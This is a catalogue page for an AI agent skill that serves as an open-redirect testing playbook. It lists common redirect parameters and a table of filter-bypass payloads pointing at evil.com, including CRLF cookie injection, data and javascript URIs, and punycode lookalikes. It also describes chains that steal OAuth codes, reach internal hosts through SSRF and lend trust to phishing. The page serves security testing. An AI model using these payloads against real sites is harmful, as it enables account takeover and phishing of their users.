open-redirect

open-redirect is a skill for Claude Code, Codex from PurpleAILAB/Decepticon. It costs 27 tokens per session (1,154 once invoked), scanned A, original, Apache-2.0.

A security testing guide for open redirects, where a trusted website sends visitors to an attacker-controlled address, and tabnabbing, which can replace an opened page with a harmful one.

In plain words
What is it for?
Use it to test redirect parameters, URL allowlists, OAuth callback handling, and links opened in new tabs.
Why use it?
It helps uncover phishing paths and redirect chains that can weaken OAuth logins or support server-side request attacks.

Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

Security

Grade A, and why

open-redirect scanned grade A with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 9d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Open Redirect Playbook

Standalone open redirect = Low/Informational by itself. Chained: critical (OAuth ATO, SSRF, phishing trust transfer).

1. Common parameters

?next=...  ?return=...  ?continue=...  ?redirect=...  ?url=...  ?to=...
?goto=...  ?destination=...  ?back=...  ?returnTo=...  ?callbackUrl=...
?image_url=...  ?file=...  ?logout_redirect=...  ?success=...

Grep recon URLs / JS for these params.

2. Bypass table

Technique Payload
Direct https://evil.com
Protocol-relative //evil.com
Triple-slash ///evil.com
Backslash \\evil.com or /\\evil.com
Encoded slash %2f%2fevil.com
Mixed encoded /%5cevil.com
Userinfo https://[email protected]
Whitelist confusion https://target.com.evil.com (subdomain ends w/ allowed)
Path-traversal in fragment target.com/?redirect=evil.com#@target.com
Data URI data:text/html,<script>location='https://evil.com'</script>
Javascript URI javascript:alert(1) (for XSS upgrade)
CRLF injection redirect=evil.com%0d%0aSet-Cookie:...
Punycode https://xn--80ak6aa92e.com (looks like apple.com)
Mixed-case scheme HTTPS://evil.com
Whitespace prefix %09//evil.com, %20//evil.com
URL-encoded null evil.com%00.target.com
Multiple slashes //////evil.com

3. Chain patterns

3.1 OAuth redirect_uri extension

Target's OAuth flow validates redirect_uri must be on *.target.com. You have open-redirect at target.com/redir?to=.... Attacker:

redirect_uri=https://target.com/redir?to=https://evil.com/cb

OAuth server allows the literal target.com host; victim browser follows the 302 → evil.com → code in URL.

3.2 SSRF extension

Target's SSRF protection denies external hosts via DNS pinning. But fetches the URL via redirect. Server-side fetcher visits target.com (allowed), follows 302 to internal IP (no DNS re-resolution).

3.3 Phishing

Send phishing email from attacker domain → click → lands on target.com/login?next=https://evil-attacker.com/fake-login. After "login" page redirects to attacker — but URL bar shows target.com for the first second, building trust.

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
